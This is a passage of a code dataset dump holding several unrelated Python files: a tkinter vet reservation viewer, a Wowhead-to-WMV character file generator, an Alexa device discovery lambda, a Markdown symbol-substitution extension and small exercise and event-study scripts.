PhotoImage\r\nimport tkinter as mytk\r\n\r\nf = (\"Times bold\", 14)\r\n\r\n\r\n\r\n#VENTANA\r\nventana= Tk()\r\nventana.geometry(\"1000x600\")\r\nventana.resizable(width = False, height = False)\r\nventana.title(\"Gestion de Reserva\")\r\nventana['bg'] = '#a5aae0'\r\n\r\n\r\nimagen = PhotoImage(file = \"img/VerReservas.png\")\r\nbackground = Label(image = imagen, text = \"Imagen de fondo\")\r\nbackground.place(x = 0, y = 0, relwidth = 1, relheight = 1)\r\n\r\nf = (\"Times bold\", 14)\r\n\r\nimagenbuscar = PhotoImage(file = \"img/Boton_Buscar.png\")\r\nimagengenerar = PhotoImage(file = \"img/BotónGenerarArchivo_GenerarFicha.png\")\r\nimagenatras = PhotoImage(file = \"img/Boton_Atras.png\")\r\n\r\n#se definen las variables\r\n\r\ndb=DataBase()\r\ndia=IntVar()\r\nmes=StringVar()\r\n\r\n\r\ntxtdia=ttk.Combobox(ventana,values=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\",\"31\"], textvariable=dia,width=25)\r\ntxtdia.place(x=285, y=110,height=30)\r\ntxtdia.current(0)\r\n\r\n\r\ntxtmes=ttk.Combobox(ventana,values=[\"ENERO\",\"FEBRERO\",\"MARZO\",\"ABRIL\",\"MAYO\",\"JUNIO\",\"JULIO\",\"AGOSTO\",\"SEPTIEMBRE\",\"OCTUBRE\",\"NOVIEMBRE\",\"DICIEMBRE\"], textvariable=mes,width=25)\r\ntxtmes.place(x=740, y=110,height=30)\r\ntxtmes.current(0)\r\n\r\n\r\n\r\n\r\ntvagenda=ttk.Treeview(ventana, selectmode=NONE,height=14)\r\ntvagenda.place(x=115, y=180)\r\ntvagenda[\"columns\"]=(\"id\",\"Mes\",\"Dia\",\"Hora\",\"Nombre\",\"Apellido\",\"Numero\",\"Nombre_Mascota\",\"Sexo_Mascota\",\"Raza_Mascota\")\r\ntvagenda.column(\"#0\",width=0,stretch=NO)\r\ntvagenda.column(\"id\",width=20,anchor=CENTER)\r\ntvagenda.column(\"Mes\",width=80,anchor=CENTER)\r\ntvagenda.column(\"Dia\",width=40,anchor=CENTER)\r\ntvagenda.column(\"Hora\",width=60,anchor=CENTER)\r\ntvagenda.column(\"Nombre\",width=90,anchor=CENTER)\r\ntvagenda.column(\"Apellido\",width=90,anchor=CENTER)\r\ntvagenda.column(\"Numero\",width=100,anchor=CENTER)\r\ntvagenda.column(\"Nombre_Mascota\",width=110,anchor=CENTER)\r\ntvagenda.column(\"Sexo_Mascota\",width=90,anchor=CENTER)\r\ntvagenda.column(\"Raza_Mascota\",width=100,anchor=CENTER)\r\n\r\n\r\ntvagenda.heading(\"id\",text=\"ID\",anchor=CENTER)\r\ntvagenda.heading(\"Mes\",text=\"Mes\",anchor=CENTER)\r\ntvagenda.heading(\"Dia\",text=\"Dia\",anchor=CENTER)\r\ntvagenda.heading(\"Hora\",text=\"Hora\",anchor=CENTER)\r\ntvagenda.heading(\"Nombre\",text=\"Nombre\",anchor=CENTER)\r\ntvagenda.heading(\"Apellido\",text=\"Apellido\",anchor=CENTER)\r\ntvagenda.heading(\"Numero\",text=\"Numero\",anchor=CENTER)\r\ntvagenda.heading(\"Nombre_Mascota\",text=\"Nombre_M\",anchor=CENTER)\r\ntvagenda.heading(\"Sexo_Mascota\",text=\"Sexo_M\",anchor=CENTER)\r\ntvagenda.heading(\"Raza_Mascota\",text=\"Especie\",anchor=CENTER)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nbtnNuevo=Button(ventana,text=\"BUSCAR\", command=lambda:llenatabla(),image=imagenbuscar)\r\nbtnNuevo.place(x=680, y=526)\r\n\r\n\r\nbtnNuevo=Button(ventana,text=\"ATRAS\", command=lambda:volver() ,image=imagenatras)\r\nbtnNuevo.place(x=35, y=526)\r\n\r\n\r\n\r\n\r\ndef volver():\r\n ventana.destroy()\r\n import Menudostor\r\n \r\n\r\ndef vaciatabla():\r\n filas= tvagenda.get_children()\r\n for fila in filas:\r\n tvagenda.delete(fila)\r\n \r\ndef llenatabla():\r\n vaciatabla()\r\n val=(mes.get(),dia.get())\r\n \r\n sql=\"\"\"select * from agenda where Mes=%s AND Dia=%s order by Hora AND ID DESC\"\"\"\r\n db.cursor.execute(sql,val)\r\n filas= db.cursor.fetchall()\r\n for fila in filas:\r\n id= fila[0]\r\n tvagenda.insert(\"\",END,id,text=\"id\", values=fila)\r\n\r\n#se define la ventana que pregunta si se quiere cerrar\r\n\r\nclass MyDialog:\r\n def __init__(self, parent):\r\n self.top = mytk.Toplevel(parent)\r\n\r\n # bloque usado para centrar la ventana toplevel\r\n ancho_ventana = 240\r\n alto_ventana = 60\r\n x_ventana = self.top.winfo_screenwidth() // 2 - ancho_ventana // 2\r\n y_ventana = self.top.winfo_screenheight() // 2 - alto_ventana // 2\r\n posicion = str(ancho_ventana) + \"x\" + str(alto_ventana) + \"+\" + str(x_ventana) + \"+\" + str(y_ventana)\r\n self.top.geometry(posicion)\r\n self.top.title(\"¿Cerrar?\")\r\n\r\n\r\n self.top.overrideredirect(True)\r\n self.parent = parent\r\n self.top.title(\"Salir\")\r\n\r\n mytk.Label(self.top, text=\"¿Está seguro?\").grid(row=0, column=0, columnspan=2)\r\n\r\n self.button1 = mytk.Button(self.top, text=\"Si, salir de la app.\", command=self.salir)\r\n self.button2 = mytk.Button(self.top, text=\"No, solo minimizar.\", command=self.minimizar)\r\n self.button1.grid(row=1, column=0, padx=5, pady=5)\r\n self.button2.grid(row=1, column=1, padx=5, pady=5)\r\n\r\n def salir(self):\r\n self.top.destroy()\r\n self.parent.destroy()\r\n\r\n def minimizar(self):\r\n self.top.destroy()\r\n self.parent.iconify()\r\n\r\nclass MyApp:\r\n\r\n def __init__(self, parent):\r\n self.parent = parent\r\n self.parent.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\r\n\r\n def on_closing(self):\r\n \r\n respuesta = messagebox.askyesno(\"Aviso\",\"¿Desea Salir de la App?\")\r\n \r\n if respuesta == TRUE:\r\n\r\n ventana.destroy()\r\n \r\n\r\n\r\n \r\n #d = MyDialog(ventana)\r\n #self.parent.wait_window(d.top)\r\napp = MyApp(ventana)\r\n\r\nventana.mainloop()","repo_name":"Jayirong/VirtuaPet","sub_path":"Desktop VetPerrito/Verhorario.py","file_name":"Verhorario.py","file_ext":"py","file_size_in_byte":5320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36551341805","text":"import subprocess\nimport os\nimport sys\nimport json\nimport xml.etree.ElementTree as ET\nimport xml.dom.minidom as minidom\nimport pyperclip\nimport settings\nfrom urllib.parse import urlparse\nimport shutil\nimport tempfile\nimport re\n\n# Get the current script location\nrel_script_path = os.path.dirname(os.path.realpath(__file__))\n\n# Check if settings.py file exists\nif not os.path.exists(os.path.join(rel_script_path, 'settings.py')):\n print(\"Settings.py file does not exist!\")\n sys.exit()\n\nif settings.saveDir is None or settings.saveDir == \"\":\n print(\"Save dir is empty! Please update settings.py\")\n sys.exit()\nelse:\n saveDir = settings.saveDir.replace(\"\\\\\", \"/\")\n if saveDir[-1] == \"/\":\n saveDir = saveDir[:-1]\n\n# Check if directory exists\nif not os.path.exists(saveDir):\n print(f\"Directory '{saveDir}' does not exist!\")\n sys.exit()\n\n# Check if directory is writable\nif not os.access(saveDir, os.W_OK):\n print(f\"Directory '{saveDir}' is not writable!\")\n sys.exit()\n\nprint(f\"Directory set to: {saveDir}\\n\")\n\n\nrace_dict = {\n 1: \"human\",\n 2: \"orc\",\n 3: \"dwarf\",\n 4: \"nightelf\",\n 5: \"scourge\",\n 6: \"tauren\",\n 7: \"gnome\",\n 8: \"troll\",\n 9: \"goblin\",\n 10: \"bloodelf\",\n 11: \"draenei\",\n 12: \"felorc\",\n 13: \"naga_\",\n 14: \"broken\",\n 15: \"skeleton\",\n 16: \"vrykul\",\n 17: \"tuskarr\",\n 18: \"foresttroll\",\n 19: \"taunka\",\n 20: \"northrendskeleton\",\n 21: \"icetroll\",\n 22: \"worgen\",\n 23: \"human\",\n 24: \"pandaren\",\n 25: \"pandaren\",\n 26: \"pandaren\",\n 27: \"nightborne\",\n 28: \"highmountaintauren\",\n 29: \"voidelf\",\n 30: \"lightforgeddraenei\",\n 31: \"zandalaritroll\",\n 32: \"kultiran\",\n 33: \"thinhuman\",\n 34: \"darkirondwarf\",\n 35: \"vulpera\",\n 36: \"magharorc\",\n 37: \"mechagnome\",\n 52: \"dracthyr\",\n 70: \"dracthyr\",\n}\n\ngender_dict = {0: \"Male\", 1: \"Female\"}\n\nnoHdModels = [\n \"brokenfemale\",\n \"brokenmale\",\n \"companiondrake\",\n \"companionprotodragon\",\n \"companionpterrodax\",\n \"companionserpent\",\n \"companionwyvern\",\n \"darkirondwarffemale\",\n \"darkirondwarfmale\",\n \"dracthyrdragon\",\n \"dracthyrfemale\",\n \"dracthyrmale\",\n \"felorcfemale\",\n \"felorcmale\",\n \"felorcmaleaxe\",\n \"felorcmalesword\",\n \"foresttrollmale\",\n \"goblinfemale\",\n \"goblinmale\",\n \"highmountaintaurenfemale\",\n \"highmountaintaurenmale\",\n \"icetrollmale\",\n \"kultiranfemale\",\n \"kultiranmale\",\n \"lightforgeddraeneifemale\",\n \"lightforgeddraeneimale\",\n \"mechagnomefemale\",\n \"mechagnomemale\",\n \"naga_female\",\n \"naga_male\",\n \"nightbornefemale\",\n \"nightbornemale\",\n \"northrendskeletonmale\",\n \"orcmaleupright\",\n \"pandarenfemale\",\n \"pandarenmale\",\n \"skeletonfemale\",\n \"skeletonmale\",\n \"taunkamale\",\n \"thinhumanmale\",\n \"voidelffemale\",\n \"voidelfmale\",\n \"vrykulmale\",\n \"vulperafemale\",\n \"vulperamale\",\n \"worgenfemale\",\n \"worgenmale\",\n \"zandalaritrollfemale\",\n \"zandalaritrollmale\",\n]\n\n# On the left is what wowhead gives, on the right is the WMV correct one\nwowhead_wmw_slot_convert_dict = {\n \"1\": {\"name\": \"Head\", \"wmv\": \"0\"},\n \"3\": {\"name\": \"Shoulders\", \"wmv\": \"1\"},\n \"16\": {\"name\": \"Back\", \"wmv\": \"11\"},\n \"5\": {\"name\": \"Chest\", \"wmv\": \"6\"},\n \"20\": {\"name\": \"Chest\", \"wmv\": \"6\"},\n \"4\": {\"name\": \"Shirt\", \"wmv\": \"4\"},\n \"19\": {\"name\": \"Tabard\", \"wmv\": \"12\"},\n \"9\": {\"name\": \"Wrist\", \"wmv\": \"7\"},\n \"10\": {\"name\": \"Hands\", \"wmv\": \"8\"},\n \"6\": {\"name\": \"Waist\", \"wmv\": \"3\"},\n \"7\": {\"name\": \"Legs\", \"wmv\": \"5\"},\n \"8\": {\"name\": \"Feet\", \"wmv\": \"2\"},\n \"21\": {\"name\": \"Main-Hand\", \"wmv\": \"9\"},\n \"17\": {\"name\": \"Main-Hand\", \"wmv\": \"9\"},\n \"15\": {\"name\": \"Main-Hand\", \"wmv\": \"9\"},\n \"22\": {\"name\": \"Off-Hand\", \"wmv\": \"10\"},\n \"14\": {\"name\": \"Off-Hand\", \"wmv\": \"10\"},\n \"27\": {\"name\": \"Quiver\", \"wmv\": \"13\"},\n}\n\n# Run node.js with output\ndef run_script_and_print_output(script_path, url, save_dir):\n # Start the process\n process = subprocess.Popen(\n [\"node\", script_path, url, save_dir],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n\n # Use a loop to read the output line by line\n while True:\n output = process.stdout.readline()\n\n # Break the loop if the process is done\n if process.poll() is not None:\n break\n\n # Print the output\n if output:\n print(output.strip())\n\n # Print any output that's left\n remainder = process.communicate()[0]\n if remainder:\n print(remainder.strip())\n\n return process\n\n\n# Gather JSON and texture data from wowhead\ndef get_json_from_url(tmpdir):\n\n # Prompt the user for the URL\n url = input(\"Please enter a URL: \")\n parsed_url = urlparse(url)\n\n if not (parsed_url.scheme and parsed_url.netloc):\n print(\"Invalid URL\")\n sys.exit()\n\n # Strip any other stuff from NPC views\n if \"npc\" in url or \"outfit\" in url:\n url = url.split(\"#\", 1)[0] + \"#modelviewer\"\n\n # Create relative path to current script\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n if \"npc\" in url:\n try:\n script_path = os.path.join(dir_path, \"wowhead_get_json_npc.js\")\n result = run_script_and_print_output(script_path, url, tmpdir)\n except subprocess.CalledProcessError as e:\n print(\"Output:\", e.output)\n print(\"Error:\", e.stderr)\n print(result.stdout)\n else:\n try:\n script_path = os.path.join(\n dir_path, \"wowhead_get_json_dressingRoom.js\")\n result = run_script_and_print_output(script_path, url, tmpdir)\n except subprocess.CalledProcessError as e:\n print(\"Output:\", e.output.decode(\"utf-8\"))\n print(\"Error:\", e.stderr.decode(\"utf-8\"))\n\n if result is None:\n print(\"NONE ERRORING!!AHHHHH\")\n sys.exit()\n\n # define the name of the file to check for\n filename = \"data.json\"\n\n # create the full file path\n full_path = os.path.join(tmpdir, \"data.json\")\n\n # check if the file exists\n if os.path.isfile(full_path):\n jsonFile = open(full_path)\n data = json.load(jsonFile)\n jsonFile.close()\n return data, url\n else:\n print(\n f\"The file {filename} does not exist in the directory {tmpdir}.\")\n quit()\n\n # copy the images\n\n\n# Format the JSON file into a common structure\ndef format_json(jsonData, url, tmpdir):\n # Name\n if \"npc\" in url:\n character_name = (\n url.rsplit(\"/\", 1)[1].replace(\"-\", \" \").replace(\"#modelviewer\", \"\")\n )\n name_parts = character_name.split()\n character_name = \" \".join(part.capitalize() for part in name_parts)\n\n character_gender = gender_dict[jsonData[\"Gender\"]]\n character_race = race_dict[jsonData[\"Race\"]]\n\n character_customization = jsonData[\"Creature\"][\"CreatureCustomizations\"]\n\n character_equipment = jsonData[\"Equipment\"]\n else:\n if \"outfit\" in url:\n character_name = (\n url.rsplit(\"/\", 1)[1].replace(\"-\",\n \" \").replace(\"#modelviewer\", \"\")\n )\n else:\n character_name = input(\"Please enter character name: \")\n\n character_gender = gender_dict[jsonData[\"charCustomization\"][\"gender\"]]\n character_race = race_dict[jsonData[\"charCustomization\"][\"race\"]]\n\n if character_name == '':\n print(\"No name entered, autonaming...\")\n autoName = character_race + character_gender\n folderTempPath = os.path.join(saveDir, autoName)\n try:\n all_entries = os.listdir(folderTempPath)\n matching_folders = [entry for entry in all_entries if os.path.isdir(os.path.join(folderTempPath, entry)) and entry.startswith(autoName + \"_\")]\n numbers = [int(re.search(r'(\\d+)$', folder).group(1)) for folder in matching_folders if re.search(r'(\\d+)$', folder)]\n highest_number = max(numbers, default=0)\n except:\n print(\"no folder exists, creating one\")\n os.mkdir(folderTempPath)\n highest_number = 0\n \n character_name = f\"{autoName}_{highest_number + 1:02}\"\n \n\n\n character_customization = jsonData[\"charCustomization\"][\"options\"]\n\n character_equipment = {str(item[0]): item[1]\n for item in jsonData[\"items\"]}\n\n # Set export folder path\n folderPath = os.path.join(\n saveDir, character_race + character_gender, character_name\n ).replace(\"\\\\\", \"/\")\n\n if not os.path.exists(folderPath):\n os.makedirs(folderPath)\n\n # Set image export folder path\n imageFolderPath = os.path.join(\n saveDir, character_race + character_gender, character_name + \"/tex\"\n ).replace(\"\\\\\", \"/\")\n\n if not os.path.exists(imageFolderPath):\n os.makedirs(imageFolderPath)\n\n # Save JSON file\n jsonPath = folderPath + \"/\" + character_name + \".json\"\n\n # Get a list of all files in the tmp directory\n if \"npc\" not in url:\n src_images = (os.path.join(tmpdir, \"images\"))\n files = os.listdir(src_images)\n\n # Move each file to the destination directory\n for file in files:\n old_file_path = os.path.join(src_images, file)\n\n try:\n shutil.copy2(os.path.join(old_file_path), imageFolderPath)\n\n except Exception as e:\n print(f\"Warning: {str(e)}\")\n continue\n\n # Compile a dict with all relevant information\n character_dict = {\n \"jsonPath\": jsonPath,\n \"characterInfo\": {\n \"name\": character_name,\n \"gender\": character_gender,\n \"race\": character_race,\n \"customization\": character_customization,\n \"equipment\": character_equipment,\n },\n \"rawData\": jsonData,\n }\n\n if \"npc\" in url:\n character_dict[\"characterInfo\"][\"type\"] = \"npc\"\n elif \"outfit\" in url:\n character_dict[\"characterInfo\"][\"type\"] = \"outfit\"\n else:\n character_dict[\"characterInfo\"][\"type\"] = \"custom\"\n\n # Save the character_dict\n with open(jsonPath, \"w\") as f:\n json.dump(character_dict, f, indent=4)\n\n def create_url_shortcut(url, title, filepath):\n shortcut = f\"\"\"\n [InternetShortcut]\n URL={url}\n \"\"\"\n with open(filepath, \"w\") as shortcut_file:\n shortcut_file.write(shortcut)\n\n create_url_shortcut(url, character_name, jsonPath.replace(\".json\", \".url\"))\n\n def create_bat_file(save_path):\n bat_script = \"\"\"\n @echo off\n for /R %%i in (*.chr) do (\n echo %%~fi | clip\n goto :eof\n )\n \"\"\"\n with open(save_path, \"w\") as bat_file:\n bat_file.write(bat_script)\n\n print(\"\\n\" + character_name)\n print(character_race + \" \" + character_gender + \"\\n\")\n\n # Generate screenshot\n dir_path = os.path.dirname(os.path.realpath(__file__))\n script_path = os.path.join(dir_path, \"generate_screenshot.js\")\n screenshot_path = folderPath + \"\\\\\" + character_name + \".jpg\"\n if character_dict[\"characterInfo\"][\"type\"] == \"outfit\":\n print(\"Outfits not currently supported for screenshots!\")\n else:\n print(\"Generating screenshot...\")\n if \"npc\" in url:\n url += \"#modelviewer\"\n try:\n subprocess.run(\n [\n \"node\",\n script_path,\n url,\n screenshot_path,\n character_dict[\"characterInfo\"][\"type\"],\n ],\n check=True,\n capture_output=True,\n )\n except subprocess.CalledProcessError as e:\n print(e.stderr)\n\n # Create a bat file for copying the .chr file\n create_bat_file(folderPath + \"\\\\\" + \"copy CHR to clipboard.bat\")\n return character_dict\n\n\n# Generates a CHR file to be imported by WMV based on the JSON file\ndef generate_chr_xml(character_dict):\n\n root = ET.Element(\"SavedCharacter\")\n root.set(\"version\", \"2.0\")\n\n model = ET.SubElement(root, \"model\")\n file = ET.SubElement(model, \"file\")\n\n modelName = (\n str(character_dict[\"characterInfo\"][\"race\"]).lower()\n + str(character_dict[\"characterInfo\"][\"gender\"]).lower()\n )\n if modelName not in noHdModels:\n modelName += \"_hd.m2\"\n else:\n modelName += \".m2\"\n\n file.set(\n \"name\",\n \"character/\"\n + character_dict[\"characterInfo\"][\"race\"]\n + \"/\"\n + str(character_dict[\"characterInfo\"][\"gender\"]).lower()\n + \"/\"\n + modelName,\n )\n\n char_details = ET.SubElement(model, \"CharDetails\")\n\n CreatureCustomizations = character_dict[\"characterInfo\"][\"customization\"]\n for customization_data in CreatureCustomizations:\n customization = ET.SubElement(char_details, \"customization\")\n customization.set(\"id\", str(customization_data[\"optionId\"]))\n customization.set(\"value\", str(customization_data[\"choiceId\"]))\n\n # Add other static customizations\n ET.SubElement(char_details, \"eyeGlowType\").set(\"value\", \"1\")\n ET.SubElement(char_details, \"showUnderwear\").set(\"value\", \"0\")\n ET.SubElement(char_details, \"showEars\").set(\"value\", \"1\")\n ET.SubElement(char_details, \"showHair\").set(\"value\", \"1\")\n ET.SubElement(char_details, \"showFacialHair\").set(\"value\", \"1\")\n ET.SubElement(char_details, \"showFeet\").set(\"value\", \"0\")\n ET.SubElement(char_details, \"isDemonHunter\").set(\"value\", \"0\")\n\n equipment = ET.SubElement(root, \"equipment\")\n\n Equipment = character_dict[\"characterInfo\"][\"equipment\"]\n for slot in Equipment:\n if slot in wowhead_wmw_slot_convert_dict:\n item = ET.SubElement(equipment, \"item\")\n ET.SubElement(item, \"slot\").set(\n \"value\", str(wowhead_wmw_slot_convert_dict[slot][\"wmv\"])\n )\n ET.SubElement(item, \"id\").set(\"value\", \"-1\")\n ET.SubElement(item, \"displayId\").set(\"value\", str(Equipment[slot]))\n ET.SubElement(item, \"level\").set(\"value\", \"0\")\n else:\n print(\n f\"Error: Slot {slot} not found in lookup table! - {Equipment[slot]}\")\n\n xml_string = ET.tostring(root, \"utf-8\")\n parsed_xml = minidom.parseString(xml_string)\n pretty_xml = parsed_xml.toprettyxml(indent=\" \", newl=\"\\n\")\n pretty_xml = pretty_xml.replace(\n '', ''\n )\n\n chrFile = character_dict[\"jsonPath\"].replace(\".json\", \".chr\")\n with open(chrFile, \"w\") as f:\n f.write(pretty_xml)\n\n pyperclip.copy(chrFile.replace(\"/\", \"\\\\\"))\n print(\".chr file copied to clipboard, please import into WMV!\")\n\n\n########### EXECUTE############\nwith tempfile.TemporaryDirectory() as tmpdir:\n # Get JSON data\n data, url = get_json_from_url(tmpdir)\n\n # Parse JSON data\n character_dict = format_json(data, url, tmpdir)\n\n # Generate CHR file\n generate_chr_xml(character_dict)\n","repo_name":"DedrichTTP/wowhead_to_wmv","sub_path":"src/generate_wmv_character.py","file_name":"generate_wmv_character.py","file_ext":"py","file_size_in_byte":15189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9382347254","text":"#!/usr/bin/env python\n\n\nimport csv\nimport logging\n\n# Setup logger\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef handle_discovery(myHome,request):\n \n switchCapabilities = [\n {\n \"type\": \"AlexaInterface\",\n \"version\": \"3\",\n \"interface\": \"Alexa\"\n },\n {\n \"type\": \"AlexaInterface\",\n \"version\": \"3\",\n \"interface\": \"Alexa.PowerController\",\n \"properties\": {\n \"supported\": [ { \"name\": \"powerState\" } ],\n \"retrievable\": True\n }\n }\n ]\n\n\n\n powerCapabilities = [\n {\n \"type\": \"AlexaInterface\",\n \"interface\": \"Alexa.PowerLevelController\",\n \"version\": \"3\",\n \"properties\": {\n \"supported\": [ { \"name\": \"powerLevel\" } ],\n \"proactivelyReported\": True,\n \"retrievable\": True\n }\n }\n ]\n\n\n\n\n deviceList = []\n\n user_id = myHome[\"user_id\"]\n logger.info(\"Discover: user_id:\"+user_id)\n\n\n logger.info(\"Discover: reading csv file\")\n with open('endpoints.csv') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n for row in csv_reader:\n\n # endpointId,manufacturerName,friendlyName,description,displayCategories,thingId,property\n \n device = {\n \"endpointId\": row[\"endpointId\"],\n \"manufacturerName\": row[\"manufacturerName\"],\n \"friendlyName\": row[\"friendlyName\"],\n \"description\": row[\"description\"],\n \"cookie\": {\n \"key1\": row[\"thingId\"],\n \"key2\": row[\"property\"]\n }\n }\n\n if row[\"displayCategories\"] == \"SWITCH\":\n device[\"capabilities\"] = switchCapabilities\n device[\"displayCategories\"] = [ \"SWITCH\" ]\n\n\n if row[\"displayCategories\"] == \"dimmer-SWITCH\":\n device[\"capabilities\"] = powerCapabilities\n device[\"displayCategories\"] = [ \"SWITCH\" ]\n\n\n if row[\"user_id\"] == user_id:\n logger.debug(\"Discover: device:\"+row[\"friendlyName\"])\n deviceList.append(device)\n\n #print(str(device))\n\n\n logger.info(\"Discover: Number of devices \"+str(len(deviceList)))\n \n\n\n header = request['directive']['header']\n header['name'] = \"Discover.Response\"\n\n response = { \n \"event\" : { \n \"header\" : header, \n \"payload\" : {\n \"endpoints\" : deviceList\n } \n }\n }\n\n return response\n\n\n\n\n\n\n","repo_name":"JoseIbanez/rp-iot","sub_path":"l01-alexa-myHome20/lambda/discover_csv.py","file_name":"discover_csv.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8077675673","text":"from markdown import Extension\nfrom markdown import treeprocessors\nfrom markdown.util import Registry\nfrom markdown.inlinepatterns import InlineProcessor\n\nfrom .smartusersymbols_patterns import getSubstitutions, normalizeSubstitutions, formatPattern\n\nREPL_ORDINALS = (\n \"smart-ordinal-numbers\",\n r'''(?x)\n \\b\n (?P(?:[1-9][0-9]*)?)\n (?P(?<=1)(?:1|2|3)th|1st|2nd|3rd|[04-9]th)\n \\b\n ''',\n lambda m: '%s%s%s' % (\n m.group('leading') if m.group('leading') else '',\n m.group('tail')[:-2], m.group('tail')[1:]\n ),\n 30\n)\n\nREPL_NASCII = (\n \"smart-html-ascii\",\n r'[^\\x00-\\x7F]',\n lambda m: '&#{0};'.format(ord(m[0])),\n 8\n)\n\nclass SmartUserSymbolsPattern(InlineProcessor):\n \"\"\"Smart User symbols patterns handler.\"\"\"\n\n def __init__(self, pattern, replace, md):\n \"\"\"Setup replace pattern.\"\"\"\n\n super(SmartUserSymbolsPattern, self).__init__(pattern, md)\n self.replace = replace\n\n def handleMatch(self, m, data):\n \"\"\"Replace symbol.\"\"\"\n\n replace = self.replace(m)\n if callable(replace):\n replace = replace(m[m.lastindex])\n\n # NOTE store() is needed when new HTML tags are added (ORDINALS)\n return self.md.htmlStash.store(replace), m.start(0), m.end(0)\n\n\nclass SmartUserSymbolsExtension(Extension):\n \"\"\"Smart User Symbols extension.\"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"Setup config with user symbols.\"\"\"\n\n self.config = {\n 'substitutions': [[], 'Substitution list'],\n 'symbols': [True, 'Symbols'],\n 'dice': [True, 'Dice'],\n 'arrows': [True, 'Arrows'],\n 'numbers': [True, 'Numbers in circles'],\n 'fractions': [True, 'Fractions'],\n 'math': [True, 'Math'],\n 'roman': [True, 'Roman numbers'],\n 'greek': [False, 'Greek letters'],\n 'ordinal_numbers': [True, 'Ordinal Numbers'],\n 'html_entities': [False, 'Replace named HTML entities'],\n 'html5_entities': [False, 'Replace named HTML5 entities'],\n 'html_unicode': [False, 'Replace Unicode characters by ASCII HTML entities']\n }\n super(SmartUserSymbolsExtension, self).__init__(*args, **kwargs)\n\n def addPattern(self, name, pattern, replace, prio, md):\n \"\"\"Construct the inline symbol pattern.\"\"\"\n\n self.patterns.register(SmartUserSymbolsPattern(pattern, replace, md), name, prio)\n\n def addSubstitutions(self, name, subs, prio, md):\n \"\"\"Construct the inline symbol pattern.\"\"\"\n\n self.addPattern(name, *formatPattern(subs), prio, md)\n\n def extendMarkdown(self, md):\n \"\"\"Create replace patterns and add to the tree processor.\"\"\"\n\n configs = self.getConfigs()\n self.patterns = Registry()\n\n # User configured patterns\n if configs['substitutions']: # if not empty\n self.addSubstitutions('smart-user', normalizeSubstitutions(configs['substitutions']), 100, md)\n\n # Pre-defined patterns\n for name in ['symbols', 'dice', 'arrows', 'numbers', 'fractions', 'math', 'roman', 'greek']:\n if configs[name]:\n self.addSubstitutions('smart-'+name, *getSubstitutions(name), md)\n # NOTE regex too complex to use direct replacement mechanism\n if configs['ordinal_numbers']:\n self.addPattern(*REPL_ORDINALS, md)\n\n # Named XHTML 1.0 Latin-1 entities (incl ASCII)\n if configs['html_entities']:\n self.addSubstitutions('smart-html', *getSubstitutions('html_entities'), md)\n # Named HTML5 Unicode entities (excl. ASCII)\n if configs['html5_entities']:\n self.addSubstitutions('smart-html5', *getSubstitutions('html5_entities'), md)\n # Numbered HTML entities (excl. ASCII)\n if configs['html_unicode']:\n self.addPattern(*REPL_NASCII, md)\n\n # NOTE InlineProcessor (TreeProcesser) does *not* process HTML tags: \n inlineProcessor = treeprocessors.InlineProcessor(md)\n inlineProcessor.inlinePatterns = self.patterns\n md.treeprocessors.register(inlineProcessor, \"smart-user-symbols\", 2.1)\n\n\ndef makeExtension(*args, **kwargs):\n \"\"\"Return extension.\"\"\"\n\n return SmartUserSymbolsExtension(*args, **kwargs)\n","repo_name":"darkdragon-001/pymdx-dd001","sub_path":"smartusersymbols/smartusersymbols.py","file_name":"smartusersymbols.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25400040955","text":"from random import randint\n#1\n\n#tree = [' /V\\ ',\n# ' / V \\ ',\n# ' / V V \\ ',\n# ' /VV V VV\\ ']\n#n=int(input())\n#for i in tree:\n# print(i * n)\n\n#2 \n#R=int(input())\n#for i in range(0,R):\n# if i%2 != 0:\n# (i * i)\n \n#3#b=1\np=0\nwhile p!=10 :\n n=int(randint(-20,20))\n for i in range(1):\n print(n,end=\" \")\n if n > 0:\n p += 1\nprint(\"num:\", p)\n\n\n#4\nn=int(input())\neven=0\nodd=0\nwhile n>0:\n if n%2 == 0:\n even += 1\n else:\n odd += 1\n n = n//10\nprint(\"четных - %d, нечетных - %d\" % (even, odd))\n#5\n\na=int(input())\nc=int(input())\nb=0\nwhile a!=c:\n b=c+a\n a=a+1\nprint(b)\n\n","repo_name":"Marklarionov/Kontrolltoo-1v","sub_path":"Kontrolltoo_1v.py","file_name":"Kontrolltoo_1v.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31805426061","text":"#!/usr/bin/env python\n#coding:utf-8\n\"\"\"\n Author: wusf --\n Purpose: \n Created: 2016/7/26\n\"\"\"\n\nimport os\nimport sys\n\nroot = os.path.abspath('d:\\\\quantlib2\\\\')\nsys.path.append(root)\nimport outputtool.generate_log as gl\nimport eventstudy.event_study as es\nimport pandas as pd\n\n\n\ngen_log = gl.GenLog('event_high_pre_disclosure', 'DEBUG')\nmylog = gen_log.generate(1, 1)\n\ndbinfo_cfg_path = 'dbinfo.cfg'\n\nmyes = es.EventStudy(dbinfo_cfg_path, mylog)\n\nevent_name = u'业绩预增'\nevent_table = 'event_data_earnings_forecast_disclosure'\ntest_start_date = '20100101'\ntest_end_date = '20160601'\nevent_start_mark = 'Date'\nevent_end_mark = 'null'\nevent_speical_variable = 'Change'\nevent_str = \"\"\"\n Change>=100\n \"\"\"\nconstituent_index = ['000001','399106']\n\nmyes.find_raw_event(event_table, 